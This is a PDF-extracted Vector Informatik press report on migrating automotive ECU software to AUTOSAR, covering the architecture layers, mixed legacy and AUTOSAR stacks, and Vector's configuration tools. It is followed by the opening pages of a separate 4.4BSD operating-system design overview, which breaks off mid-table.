The ECU supplier uses the GENy tool to configure and generate the basic software using this input information. The routing information is prepared in the form of generated data structures (tables)
Early Migration creates Opportunities for Innovations
Mix of Individual Software and AUTOSAR Components in Vehicle Electronics
ECU development in the motor vehicle is evolving rapidly. This article sheds light on one important aspect: The introduction of standardized basic software defined by the AUTOSAR development partnership. If AUTOSAR software components are added to the overall architecture in a stepwise and differentiated manner, this assures quality enhancements.
At the beginning of 2007, the AUTOSAR development partnership defined, in its Release 2.1, a practice-tested software architecture that is used as a foundation for developing reusable applications. With publication of these specifications, in the future it will be possible for all companies belonging to the AUTOSAR development partnership to develop AUTOSAR-conformant components. However, its practical implementation is not trivial. The transition from individual software to standard software has to be well-planned and is certainly only conceivable if a stepwise approach is taken. The AUTOSAR philosophy and description language create a diverse environment for using standardized software. In practice, this may be a mixed installation of AUTOSAR and non-AUTOSAR components or an integration of basic software for specific platforms by a number of different software suppliers. For both types of implementation, it is necessary to clarify and define the relevant constraints from various perspectives.
Vehicle perspective
From the OEM perspective, basic platforms, technological platforms, etc. are being developed, from which the next generations of cars will be derived. The underlying goal here is to integrate one and the same ECU in many vehicles and thereby reduce costs. At the same time, the quality and the stability of the vehicle electronics should be improved. This results in a dilemma between the imponderables of a newly introduced technology and the stability of the product.
Architectural perspective
From the point of view of an ECU individual software components are discernible. At the same time, two contradictory approaches are being followed with regard to the base software of today’s ECUs. On the one hand, many OEMs require specific software components or at least they specify them. On the other hand, control module producers are striving internally to always use the same architecture for a control module platform. Added to this is the fact that the degree of standardization of the software is not as comprehensive as...
described by AUTOSAR. The goal here is to apply a standard to software that does not serve the purpose of competitive differentiation, thereby creating space for new innovations. Optimally, low investment costs would be incurred by new tools, since those tools already in service can for the most part be reused.
Clear migration strategy as factor in success
When these two perspectives are applied to a decision on introducing AUTOSAR, it makes sense to select a multistage approach.
Stage I – Set up the architecture and expand:
The first step is to compare the existing custom software and the AUTOSAR architecture. After analyzing overlaps and integration potentials, a decision is made regarding which modules will be preserved and which ones can be replaced by standard software. At this stage it is recommended that a separating layer be introduced between application software and base software as well as a standardized interface. The so-called Runtime Environment (RTE) serves as the link for the necessary data exchange, and as a buffer with defined interface it enables modular programming without dependencies. This is how AUTOSAR components can be integrated without making additional changes to the custom and application software. The custom software is linked to the system architecture via an Adaptation Layer to enable data exchange with the AUTOSAR components via the RTE; see Figure 1.
To minimize cost and effort and arrive at an optimal overall solution, it is helpful at this point to integrate the custom software in the configuration tools.
Stage II – Replace:
Non-AUTOSAR components can now be replaced gradually by AUTOSAR components without putting the overall architecture at risk or requiring reprogramming of other modules. The goal here is to set up an AUTOSAR architecture and use the appropriate tools. Initiated in individual ECUs, in the end the entire vehicle is conceptualized with AUTOSAR software, starting with system design and ending with integration.
Using the AUTOSAR architecture in designing new ECUs
As implied in Figure 2, essential parts of the individual software can also be reused in the framework of an AUTOSAR architecture. They are then linked to the application via an adaptation layer as a complex device driver.
An overlap matrix shows the portions in which AUTOSAR software can be introduced without great risk. Primarily, the memory section and the IO hardware abstraction can be migrated smoothly. Cluster memory management in particular has very clear and easy-to-use interfaces that enable its early migration to new ECUs.
In communication and diagnostics, on the other hand, there are considerable overlaps between proprietary vehicle software and the standard modules of the AUTOSAR basic software. In the interest of stability in the vehicle, a more conservative approach is required here. Many OEMs utilize platform ECUs, in which existing software modules are transferred to new vehicle models. One implication is that the network and communications strategy cannot be changed over the short term. In the case of an immediate migration, ECU calibration and off-board diagnostics would also need to be adapted, which in practice would lead to significant problems.
Therefore, the simplest path is to use the existing communication stack in the AUTOSAR environment too. This stack can be linked to the RTE via an adaptation layer.
Vector has the necessary expertise in this area and can propose the right solutions for creating such mixed architectures or supply them to the customer. For example, the familiar XCP protocol can be integrated in a migration architecture so that existing measurement and calibration tools such as CANape can be used.
The described approach is not a pure top-down approach, since at many points AUTOSAR software can even be integrated on lower hardware-related layers. Its modular structure and defined interfaces help in implementing the standard software on the SPAL level without affecting the upper layers. This offers an enormous advantage with regard to reuse.
Vector Informatik utilizes the concept of Product Clustering here. Based on AUTOSAR specifications, the products offered range over a number of layers and provide total solutions for memory, commu-
nication, diagnostic and system areas. These are independently functioning areas, some of which can also be implemented without AUTOSAR architecture. Cluster memory for example can be integrated quickly and easily in many ECU applications; see Figure 3.
**Summary**
When considered from different points of view, a stepwise introduction of the standard components defined by the AUTOSAR development partnership into an individual company’s software architecture appears to be the correct path. This approach guarantees quality and consistency. Proper tools support this process. Gradual migration instead of an immediate total conversion leads to an overall AUTOSAR solution in the vehicle that minimizes risks. Vector’s expertise and many years of experience lend support to this process.
**Support by tools**
An important pillar in the introduction of AUTOSAR relates to the tools. They must be able to operate the AUTOSAR interfaces, yet they must remain open to integration of third-party components. Above all, configuration tools should be able to master this challenge and also support the user in validation of the system configuration.
The tool world servicing AUTOSAR can be subdivided into three categories: Design, configuration and test/simulation. Above all, suitable test instruments are an essential component for successful development. An ECU operates as a part of a whole. Checking for and assuring consistency in the overall system requires a high-performance simulation tool. Vector Informatik GmbH has come to grips with these requirements and can make a contribution to the success of AUTOSAR with its comprehensive tool solutions such as the DaVinci Tool Suite, MICROSAR Configuration Suite and CANoe. Support in the context of project work and consultation complement the products offered.
*Peter Schiekofer*
(Graduate Engineer) has been employed at Vector since May 2006. He manages Vector’s Regensburg subsidiary and is responsible for advanced technical development of AUTOSAR solutions. As an active working participant on Working Packages WP 1.1.2 and WP 20 of the AUTOSAR Development Partnership he is directly involved with the new technology.
---
**Figure 3:**
Vector offers MICROSAR, which contains the entire range of AUTOSAR-BSW including RTE.
1. Introduction
In the past ECUs were proprietary solutions – highly customized components that were developed to be OEM and vehicle specific. Yet this control module centered approach to ECU development has disadvantages. A single change in requirements may make it necessary to conduct a completely new ECU development. As complexity in ECU functionality increases, this is associated with enormous expense. Further intensifying the need for a conceptually new approach are new constraints such as the need to represent an even greater number of variants and equipment options, offer options for upgrading architectures and handle nonfunctional requirements such as ECU diagnostics or availability.
Therefore, a number of years ago many OEMs and suppliers began to address the issue of how to replace this ECU centered development approach by a functionally oriented approach. The AUTOSAR standardization initiative has consistently advanced this approach. The goal of the initiative was to separate the customer-specific application from basic functions that can be integrated by standardized interfaces. This involved mapping the software to a layer model and defining uniform interfaces. In the future, together with a configuration description that is also standardized, it will be possible to develop, test and optimize functions independent of the underlying hardware environment.
The transition from customer-specific software to standardized base software and application software with uniform interfaces promises enormous cost and quality advantages to all parties involved in the development process. The driving factors are simpler integration and the ability to transport functions across vehicle and OEM borders, as well as greater flexibility in maintenance, scalability of functional features, and hardware independence of the software. A welcome side benefit here is the growing reliability of the electronic system.
Validity is also improved by the AUTOSAR-specified development process. This process begins with a model-based functional description, continues with a consequent use of tools and also includes automatically generated and reproducible tests.
Release 1.0 was published in May 2005, and it already contained specifications for 31 base software modules (BSW). The functional capabilities of the modules were checked and validated in a subsequent implementation and validation phase (Validator 1). By May 2006 42 BSW specifications had already been published, among them the Runtime Environment (RTE). All specifications have successfully run through a test phase (Validator 2). At the end of 2006 the first full release (R 2.1) was introduced, which also contains the methodology specification.
As one of its first premium partners, Vector has actively participated in standardization activities of the AUTOSAR Initiative and also offers base software and tools for AUTOSAR.
2. AUTOSAR architecture
To achieve AUTOSAR goals related to partitioning of the application software from base modules and functions, the vehicle electronics is abstracted and subdivided into several layers, see Figure 1. The
connection to the actual microcontroller and thereby the physical basis is represented by the Microcontroller Abstraction Layer, which maps the microcontroller’s functions and periphery. This layer defines interfaces for memory, I/O drivers and its communication connections. Features that the microcontroller cannot offer can also be emulated in software. Above this layer is the second layer, the ECU Abstraction layer. It defines the ECU’s internal hardware layout and provides drivers for the ECU’s external periphery for example. In another layer, the Services Layer, various basic services are provided such as network services, memory management, bus communication services and the operating system. This layer is already largely independent of the hardware. The RTE represents the fourth layer. This is where the actual separation of application and BSW occurs. The RTE handles integration of the application software and controls the exchange of data between application and BSW. It is only because of this layer that it is possible to reuse application software, since the defined interfaces allow application software to be developed and transferred to any other AUTOSAR-conformant ECUs without special knowledge of the later hardware to be used.
The so-called Virtual Functional Bus (VFB) serves as the basis for configuration of the layers. All vehicle electronic components use this layer to communicate in an abstracted view. For this purpose the software components use ports that are specified by port interfaces. Connectors interconnect the ports. It does not matter to the VFB whether this is a connection within an ECU or a connection via an external bus. That is not decided until the final system layout is set and the components are assigned to a specific ECU.
The software component itself does not require any knowledge of this later partitioning and can therefore be developed independently. It is subdivided into execution units, so-called Runnable Entities, which are executed like procedures when a certain event occurs. Such an event might be the arrival of a new sensor value or a periodic activation. The description of the electronic system formulated from the perspective of the VFB is used to define the interfaces of the specific software components. This makes it possible to develop application components independent of the specific ECU. The “counterpart” in the ECU is the RTE. It ensures access to I/Os, memory and other base services. The RTE can be generated ECU-specifically from the model-based description and can thereby be adapted to different requirements in a resource-efficient manner.
3. Methodology
Now that Phase 1 has been completed and Phase 2 has begun, AUTOSAR also starts as planned to formulate the methodology of the development process. Conformance to a structured creation process is recognized as an important precondition for creating error-free software. Deficiencies in the requirements list are detected early, reuse and porting of software components are simplified, and the system is more reliable overall. Nonetheless, the methodology offers certain freedoms: For example, users are free to select a top-down approach or a bottom-up development.
The AUTOSAR Initiative provides for seamless tool support of the software development process. Mature tools facilitate structured implementation of requirements and their consistent development, systematic creation of configurations and automatic consideration of complex interdependencies.
First a formal description is made of the three main parts: Software (SW Component), ECUs (ECU Resource) and System Constraints. Suitable editors are used to create a configuration description for the total system, see Figure 2. This system configuration serves as a basis for creating the ECU configurations that the user creates with the help of configuration tools for the individual base software modules. At the end of the process a number of generators are used to generate the ECU-specific implementation of the RTE and base software.
All design and configuration data created in the development process are described in a uniform format. AUTOSAR has defined a format based on XML for this purpose. First, it guarantees consequently the data consistence during the development process, and secondly it simplifies seamless integration of required or supplemental tools.
As early as 2003 Vector Informatik introduced a line of tools based on a structured and modular development approach that supports users in designing distributed functions, allocating software components and integrating the code of the networked ECUs. Today the DaVinci Tool Suite turns the AUTOSAR idea into reality and conforms fully to the specification. As one of the first and only tool providers in this area, Vector now supports the specified universal and consistent AUTOSAR development process.
The DaVinci Tool Suite is used to handle all design steps systematically and manage the complex interrelationships. Tool support begins with the design of the software architecture and covers tasks ranging from network configuration to code generation. Well-functioning data management and configuration management are essential in the development process for a complex system [1]. The eASEE tool environment performs this task in background as well as data integration and user administration.
After requirements have been established, the development process begins with formal description of the system topology and
software components. The DaVinci System Architect is used for this purpose. It allocates software components to the individual ECUs and thereby defines which communication is to be performed locally and which will occur via a bus system. Afterwards the interface data of the software components are mapped to the bus signals.
DaVinci Network Designer defines the layout and time behavior (Scheduling) of the network messages. The special properties of vehicle-specific CAN, LIN and FlexRay bus systems are considered here. As a result, the developer obtains the System Configuration Description, which contains all information on the system architecture including the communication matrices. As an AUTOSAR-conformant XML file the System Configuration Description is used for ECU development.
DaVinci Developer takes this XML file as a basis and uses it to configure the RTE. GENy, osCAN Configurator and MICROSAR.EAD are now coming into play as configuration tools for the base software. They support the generation of a comprehensive set of BSW modules such as the operating system, communication stacks and I/O drivers, Figure 3.
Tools support both implementation of software components and initial testing. When suitable model-based tools are used, functionality can be formulated using state diagrams for example. This enables later simulation of one or more software components and testing already conducted on the functional model. As an alternative, direct implementation of the software components in C is also possible. CANoe serves as a PC-based test platform for software components and is used to simulate all software components as DLLs and emulate the VFB.
4. Migration
Theoretically, automotive OEMs could attempt to integrate a fully AUTOSAR-conformant electronic system in their next generation of cars. The cost and effort required to redevelop all components would be enormous, however, and the process would not be without risk. Since the standard is still in a validation phase, this would also be associated with planning uncertainties. In developing the AUTOSAR specifications, working partners gave priority to incorporating proven technologies in software development. Furthermore, there are areas where optimizations are necessary in software. Modifications of conventional technology are therefore unavoidable when newly developed AUTOSAR components are added. Stepwise introduction of AUTOSAR-conformant software components into the overall architecture addresses this issue and is preferred by automotive OEMs since it offers better handling and greater validity.
Figure 4 shows the development of component integration in car generations at DaimlerChrysler [2]. Each new model series and software generation comes along with new functions that need to be integrated. Only the modules shown in red are taken from the predecessor system; their technical aspects are quasi-frozen. It is apparent that in spite of identical functionality some modules are
OSEK Network Management (NM), which is widely used in the automotive industry, can be replaced by AUTOSAR-NM. Nonetheless, it should be noted that synchronization is not automatically done when mixing ECUs with AUTOSAR-NM and OSEK-NM within a network. An ECU containing both network management variants could handle this task.
In a transition phase, newly written application software will support both prior and new standard components. A certain overhead must be accepted here. The great advantage though is universal reusability in different projects, because different OEMs will not necessarily strive for similar migration strategies. Mixed forms are conceivable: While one OEM might want to just guarantee compatibility to AUTOSAR on the bus but otherwise wants as little change as possible, another OEM might preserve components with a lot of bus interaction in the first stage to maintain compatibility with existing ECUs.
Today OEMs and suppliers can already begin a migration of existing software functions to AUTOSAR. Release 2.0 paves the way for such a conversion. Different approaches are conceivable here. Modularized base software already provides the foundation for Vector’s CANbedded software components today. Vector customers can therefore replace individual modules by AUTOSAR components with little effort. This applies to the Transport Protocol, bus interface and diagnostics for example.
For suppliers it is advisable to switch over to the RTE early on. This makes the application independent of underlying layers, and it may be developed decoupled from hardware requirements, see Figure 5. However, it cannot be denied that this approach includes additional effort for the RTE. The RTE must support the different variants of underlying base software, as long as these variants do not provide an AUTOSAR-conformant API to the RTE. Moreover, standard formats used today for configuration data such as DBC, LDF or FIBEX must be converted to uniform AUTOSAR XML formats.
The migration is advisable, however, because suppliers can decide to go for a standardized API even before the OEM requires it. At an early stage this spares the supplier further migration steps.
5. Next steps: IDE as basis
Networking of components in automotive electronics must go hand in hand with close tool coordination. Only seamlessly complementary tools can make the development process consistent and the complexity manageable. Additional benefits arise by integrating the tool chain into Integrated Development Environments (IDE) that are accepted industry-wide, such as Eclipse or Visual Studio. Extensions to this IDE enable coding, debugging and testing of AUTOSAR components within a homogeneous environment, which may also serve simultaneously as an execution and simulation platform for AUTOSAR components. This makes it possible to test real executable software functions while auxiliary functions are simply added as models via a simulation interface, see Figure 6.
Figure 4:
Evolution of software development at DaimlerChrysler. New vehicle generations often require completely new development of software functions.
Figure 5:
Interfaces to the application. If a uniform interface to the RTE is implemented early, future migration steps will not be necessary.
Simple test scenarios can be created quickly. Different execution speeds can be used for different types of testing. Fast execution of test cases delivers high repetition rates and enables a large number of automated tests, whereas slow execution facilitates user-friendly debugging of the software.
Possible supplements to such an IDE include test case generators and static code or coverage analyses. The better the linkage of such add-ons to the development platform, the simpler and more economical are the tests, and the product will operate more reliably later.
6. Summary
The complexity of vehicle electronics continues to grow. AUTOSAR’s definition of interfaces and description of the system by abstraction layers does not reduce the volume of requirements and interdependencies of functions. To master them requires powerful and capable authoring tools.
Decoupling of the base software from the application is a prerequisite for running functional code on different hardware platforms. This leads to a qualitative improvement of the system since proven applications in product quality may be re-used. Moreover, the development capacities may be used to focus on innovations and new challenges. The development process prescribed by the specification supports a structured approach and points out potential error sources at an early stage.
Vector Informatik has consistently implemented the AUTOSAR concept and supports the development process in all phases. This begins with structured design of the AUTOSAR software components and their distribution to ECUs, continues with definition of communication and finishes with configuration of the base software. OEMs and suppliers can already benefit from the advantages of AUTOSAR projects today. Especially for projects mixing conventional components with new AUTOSAR technology Vector is the right implementation partner. By calling upon its expertise over the entire range of AUTOSAR software, integration experience and suitable tools for integrating third-party components, Vector helps in all steps on the path to the AUTOSAR ECU.
Literature:
Figure 6: Test of a software component in the execution and simulation platform. While a real executable software function is tested, additional functions can simply be added as models via the simulation interface.
The development of ECU-specific software is taking a new path. The AUTOSAR development partnership has defined a software architecture resulting in standardized base software to be used as a foundation for development of reusable applications. This places special requirements on semiconductor producers.
Now that AUTOSAR specification Version 2.1 has been released just recently, the first semiconductor producers are offering implementations of AUTOSAR SPAL (Standard Peripheral Abstraction Layer) modules for their microcontrollers. The AUTOSAR specification defines the behavior of any given module in the AUTOSAR architecture, regardless of whether it is a hardware-dependent module from the SPAL layer or a hardware-independent module from the Service Layer. Reusability and interchangeability of individual modules must be assured. Implementations of SPAL modules and hardware-independent modules only differ in the cost and effort involved. Hardware-independent modules are usually only implemented once, while SPAL modules must be re-designed for each microcontroller.
This means that semiconductor producers are treading in unfamiliar terrain, because – in addition to implementation of the SPAL modules – the AUTOSAR specification requires that a suitable configuration tool have to be provided. The tool should support these AUTOSAR-specified interfaces: The “AUTOSAR Parameter Definition” and the “AUTOSAR ECU Configuration Description” (Figure 1).
Configuration tool for AUTOSAR architecture
The AUTOSAR specification leaves the tool question open: All components can be configured either with a generic tool or a number of different tools. Neither alternative offers a comprehensive solution for guaranteeing a correct, consistent and yet easy-to-manage configuration process.
A tool chain with products from various producers does not guarantee error-free configuration, since the tools are not perfectly tuned to one another. The concept of utilizing a generic configuration tool that can read in the AUTOSAR Parameter Definition File for any AUTOSAR module, and can therefore master the entire ECU configuration, is in principle desirable. But the whole system will only work if parameters are queried throughout the process and are found to be consistent, so that optimal and valid results are obtained.
Valid and open approach to configuration
A total solution for configuration, which goes beyond a purely generic approach and contains the necessary validity check, is offered by the tool MICROSAR EAD (Embedded Architecture Designer) from Vector Informatik. First, the tool performs the role of a Generic Configuration Editor and represents a module in an AUTOSAR Standard GUI based on the AUTOSAR Parameter Definition File. This functionality might indeed be sufficient for some less complex modules. For more difficult configuration concepts the XML Interface Description can be accessed, which enables a very detailed description of the configuration parameters and contains an innovative validation concept (Figure 2).
MICROSAR EAD offers an optimal foundation for integrating external components by implementing XML technology. Each integrated module is described by a set of XML files. External components may include: AUTOSAR SPAL modules from semiconductor producers, complex customized drivers or existing solutions that are not yet AUTOSAR-conformant. Vector offers integration of external components as a service. Vector acquired the necessary expertise from development experience with all types of AUTOSAR components and associated tools for configuring the base software and the overall system.
SPAL modules require hardware expertise
Since each SPAL module contains the specific properties of the microcontroller, it is especially important here to provide a configuration tool with hardware know-how. To optimally assist the user in the startup of a new microcontroller, as early as configuration time Vector gives the user a lot of decision-making assistance. Defining parameter values in MICROSAR.EAD prevents invalid data input and invalid data import. Creation of one intelligent GUI per module enables a simplified, smooth configuration process for the user. Optimal data consistency is assured by a three-stage validation concept. This customizes the validation process, and qualification of the data is guaranteed before the files are generated.
After successful configuration and validation the generation process is started, in which files are generated according to the settings. It does not matter whether the generator used is the built-in generator of MICROSAR.EAD, which is also controlled by XML file, or an external generator is called. In this connection it is really important that a generation process may only occur after successful validation.
Integration solutions proven in practice
Technical implementation and integration of the configuration have been established and undergone trials at Vector. With regard to the business model, certain questions arise: What form might integration of the SPAL modules of a semiconductor producer take in the MICROSAR EAD? Who assumes responsibility for distribution, maintenance and support? Many different scenarios are conceivable here. Vector Informatik is currently conducting discussions on individual solutions with various OEMs and semiconductor producers.
The advantages of an integration solution are obvious: Microcontrollers and SPAL modules from a single source shorten development times and increase consistency. The MICROSAR EAD configuration tool with integrated SPAL modules supports the user optimally with easy handling and openness in integration. The extensive validation process detects configuration errors early on and improves quality. The capability of integrating additional modules and even external components in MICROSAR.EAD makes it
unnecessary to seek out a coherent tool chain. That is because configuration of an entire architecture can be guaranteed with just one tool. In porting existing projects to new controllers or derivates the data transfer runs smoothly.
There remains the question of the practical feasibility of the modularity prescribed by the AUTOSAR architecture. The well-coordinated Vector product line, and its interconnection to external products, shows that this modularity can operate properly. Integration of the SPAL modules from semiconductor producers targets another AUTOSAR commandment: Interchangeability. Vector Informatik is up to the challenge here. With a full product lineup of AUTOSAR software architecture, Vector offers support in all project development phases: From design to implementation to integration. In this process, it does not matter whether what is being used are Vector products, in-house developments or third-party components.
Justus Maier
(Graduate engineer) is team leader in the "Embedded Software" department and is responsible for the further development of Vector’s AUTOSAR tooling solution.
Start your Series Development with AUTOSAR
Enjoy the benefits of field-tested modules that can be used right away:
> Efficiency through reusability and time savings
> Quality through tried-and-tested use in serial projects
> Openness through the option of optimally integrating third-party components
> Flexibility to convert to AUTOSAR step-by-step
> Focus on application development
We create your AUTOSAR solution using expertise and commitment. Base software and high-performance tools — integrated in their own software architecture.
► For more information, please visit: www.autosar-solutions.com
Your Contact
Germany and all countries not named below
Vector Informatik GmbH
Ingersheimer Str. 24
70499 Stuttgart
GERMANY
Tel.: +49 711 80670 0
Fax: +49 711 80670 111
USA, Canada, Mexico
Vector CANtech, Inc.
Suite 550
39500 Orchard Hill Place
Novi, Mi 48375
USA
Tel.: +1 248 449 9290
Fax: +1 248 449 9704
France, Belgium, Luxemburg
Vector France SAS
168, Boulevard Camélinat
92240 Malakoff
FRANCE
Tel.: +33 1 4231 4000
Fax: +33 1 4231 4009
Sweden, Denmark, Norway, Finland, Iceland
VecScan AB
Lindholmspiren 5
41756 Göteborg
SWEDEN
Tel.: +46 31 764 76 00
Fax: +46 31 764 76 19
Japan
Vector Japan Co., Ltd.
Seafort Square Center Bld. 18F
2-3-12 Higashi-shinagawa,
Shinagawa-ku
Tokyo 140-0002
JAPAN
Tel.: +81 3 5769 6970
Fax: +81 3 5769 6975
Korea
Vector Korea IT Inc.
Daerung Post Tower III, 508
Guro-gu, Guro-dong 182-4
Seoul 152-790
REPUBLIC OF KOREA
Tel.: +82 2 2028 0600
Fax: +82 2 2028 0604
www.vector-worldwide.com
|
{"Source-Url": "https://vector.com/portal/medien/cmc/press/PressReport-AUTOSAR-EN.pdf", "len_cl100k_base": 11247, "olmocr-version": "0.1.53", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 49819, "total-output-tokens": 12407, "length": "2e13", "weborganizer": {"__label__adult": 0.0010118484497070312, "__label__art_design": 0.0006704330444335938, "__label__crime_law": 0.0005631446838378906, "__label__education_jobs": 0.0004737377166748047, "__label__entertainment": 0.00013840198516845703, "__label__fashion_beauty": 0.0004780292510986328, "__label__finance_business": 0.001529693603515625, "__label__food_dining": 0.0005784034729003906, "__label__games": 0.0017862319946289062, "__label__hardware": 0.035369873046875, "__label__health": 0.0005059242248535156, "__label__history": 0.00043320655822753906, "__label__home_hobbies": 0.0002677440643310547, "__label__industrial": 0.0054779052734375, "__label__literature": 0.00030350685119628906, "__label__politics": 0.0003740787506103515, "__label__religion": 0.0008945465087890625, "__label__science_tech": 0.07891845703125, "__label__social_life": 8.183717727661133e-05, "__label__software": 0.0298309326171875, "__label__software_dev": 0.82568359375, "__label__sports_fitness": 0.0005993843078613281, "__label__transportation": 0.013824462890625, "__label__travel": 0.00037789344787597656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 59177, 0.04844]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 59177, 0.37875]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 59177, 0.91348]], "google_gemma-3-12b-it_contains_pii": [[0, 30, false], [30, 1504, null], [1504, 6677, null], [6677, 8959, null], [8959, 12167, null], [12167, 14752, null], [14752, 18264, null], [18264, 21222, null], [21222, 24060, null], [24060, 26603, null], [26603, 30880, null], [30880, 33166, null], [33166, 36307, null], [36307, 41824, null], [41824, 44811, null], [44811, 46225, null], [46225, 48089, null], [48089, 50650, null], [50650, 52114, null], [52114, 56522, null], [56522, 57643, null], [57643, 58250, null], [58250, 59177, null]], "google_gemma-3-12b-it_is_public_document": [[0, 30, true], [30, 1504, null], [1504, 6677, null], [6677, 8959, null], [8959, 12167, null], [12167, 14752, null], [14752, 18264, null], [18264, 21222, null], [21222, 24060, null], [24060, 26603, null], [26603, 30880, null], [30880, 33166, null], [33166, 36307, null], [36307, 41824, null], [41824, 44811, null], [44811, 46225, null], [46225, 48089, null], [48089, 50650, null], [50650, 52114, null], [52114, 56522, null], [56522, 57643, null], [57643, 58250, null], [58250, 59177, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 59177, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 59177, null]], "pdf_page_numbers": [[0, 30, 1], [30, 1504, 2], [1504, 6677, 3], [6677, 8959, 4], [8959, 12167, 5], [12167, 14752, 6], [14752, 18264, 7], [18264, 21222, 8], [21222, 24060, 9], [24060, 26603, 10], [26603, 30880, 11], [30880, 33166, 12], [33166, 36307, 13], [36307, 41824, 14], [41824, 44811, 15], [44811, 46225, 16], [46225, 48089, 17], [48089, 50650, 18], [50650, 52114, 19], [52114, 56522, 20], [56522, 57643, 21], [57643, 58250, 22], [58250, 59177, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 59177, 0.02049]]}
|
olmocr_science_pdfs
|
2024-12-07
|
2024-12-07
|
2275faff5cfefbef874bff906841f78132771e94
|
The Design and Implementation of the 4.4BSD Operating System
# Table of Contents
2.1. Design Overview of 4.4BSD ......................................................... 3
2.1.1. 4.4BSD Facilities and the Kernel .......................................... 3
2.1.2. Kernel Organization .......................................................... 4
2.1.3. Kernel Services ............................................................... 6
2.1.4. Process Management .......................................................... 7
2.1.5. Memory Management .......................................................... 9
2.1.6. I/O System ................................................................. 12
2.1.7. Filesystems ................................................................. 16
2.1.8. Filestores ................................................................. 19
2.1.9. Network Filesystem ......................................................... 20
2.1.10. Terminals ................................................................. 20
2.1.11. Interprocess Communication ............................................. 21
2.1.12. Network Communication ................................................ 22
2.1.13. Network Implementation ............................................... 22
References ....................................................................................... 24
Chapter 2.1. Design Overview of 4.4BSD
2.1.1. 4.4BSD Facilities and the Kernel
The 4.4BSD kernel provides four basic facilities: processes, a filesystem, communications, and system startup. This section outlines where each of these four basic services is described in this book.
1. Processes constitute a thread of control in an address space. Mechanisms for creating, terminating, and otherwise controlling processes are described in Chapter 4. The system multiplexes separate virtual-address spaces for each process; this memory management is discussed in Chapter 5.
2. The user interface to the filesystem and devices is similar; common aspects are discussed in Chapter 6. The filesystem is a set of named files, organized in a tree-structured hierarchy of directories, and of operations to manipulate them, as presented in Chapter 7. Files reside on physical media such as disks. 4.4BSD supports several organizations of data on the disk, as set forth in Chapter 8. Access to files on remote machines is the subject of Chapter 9. Terminals are used to access the system; their operation is the subject of Chapter 10.
3. Communication mechanisms provided by traditional UNIX systems include simplex reliable byte streams between related processes (see pipes, Section 11.1), and notification of exceptional events (see signals, Section 4.7). 4.4BSD also has a general interprocess-communication facility. This facility, described in Chapter 11, uses access mechanisms distinct from those of the filesystem, but, once a connection is set up, a process can access it as though it were a pipe. There is a general networking framework, discussed in Chapter 12, that is normally used as a layer underlying the IPC facility. Chapter 13 describes a particular networking implementation in detail.
4. Any real operating system has operational issues, such as how to start it running. Startup and operational issues are described in Chapter 14.
Sections 2.3 through 2.14 present introductory material related to Chapters 3 through 14. We shall define terms, mention basic system calls, and explore historical developments. Finally, we shall give the reasons for many major design decisions.
2.1.1.1. The Kernel
The *kernel* is the part of the system that runs in protected mode and mediates access by all user programs to the underlying hardware (e.g., CPU, disks, terminals, network links) and software constructs (e.g., filesystem, network protocols). The kernel provides the basic system facilities; it creates and manages processes, and provides functions to access the filesystem and communication facilities. These functions, called **system calls** appear to user processes as library subroutines. These system calls are the only interface that processes have to these facilities. Details of the system-call mechanism are given in Chapter 3, as are descriptions of several kernel mechanisms that do not execute as the direct result of a process doing a system call.
A *kernel* in traditional operating-system terminology, is a small nucleus of software that provides only the minimal facilities necessary for implementing additional operating-system services. In
contemporary research operating systems — such as Chorus [Rozier et al, 1988], Mach [Accetta et al, 1986], Tunis [Ewens et al, 1985], and the V Kernel [Cheriton, 1988] — this division of functionality is more than just a logical one. Services such as filesystems and networking protocols are implemented as client application processes of the nucleus or kernel.
The 4.4BSD kernel is not partitioned into multiple processes. This basic design decision was made in the earliest versions of UNIX. The first two implementations by Ken Thompson had no memory mapping, and thus made no hardware-enforced distinction between user and kernel space [Ritchie, 1988]. A message-passing system could have been implemented as readily as the actually implemented model of kernel and user processes. The monolithic kernel was chosen for simplicity and performance. And the early kernels were small; the inclusion of facilities such as networking into the kernel has increased its size. The current trend in operating-systems research is to reduce the kernel size by placing such services in user space.
Users ordinarily interact with the system through a command-language interpreter, called a shell, and perhaps through additional user application programs. Such programs and the shell are implemented with processes. Details of such programs are beyond the scope of this book, which instead concentrates almost exclusively on the kernel.
Sections 2.3 and 2.4 describe the services provided by the 4.4BSD kernel, and give an overview of the latter’s design. Later chapters describe the detailed design and implementation of these services as they appear in 4.4BSD.
### 2.1.2. Kernel Organization
In this section, we view the organization of the 4.4BSD kernel in two ways:
1. As a static body of software, categorized by the functionality offered by the modules that make up the kernel
2. By its dynamic operation, categorized according to the services provided to users
The largest part of the kernel implements the system services that applications access through system calls. In 4.4BSD, this software has been organized according to the following:
- Basic kernel facilities: timer and system-clock handling, descriptor management, and process management
- Memory-management support: paging and swapping
- Generic system interfaces: the I/O, control, and multiplexing operations performed on descriptors
- The filesystem: files, directories, pathname translation, file locking, and I/O buffer management
- Terminal-handling support: the terminal-interface driver and terminal line disciplines
- Interprocess-communication facilities: sockets
- Support for network communication: communication protocols and generic network facilities, such as routing
*Table 1. Machine-independent software in the 4.4BSD kernel*
<table>
<thead>
<tr>
<th>Category</th>
<th>Lines of code</th>
<th>Percentage of kernel</th>
</tr>
</thead>
<tbody>
<tr>
<td>headers</td>
<td>9,393</td>
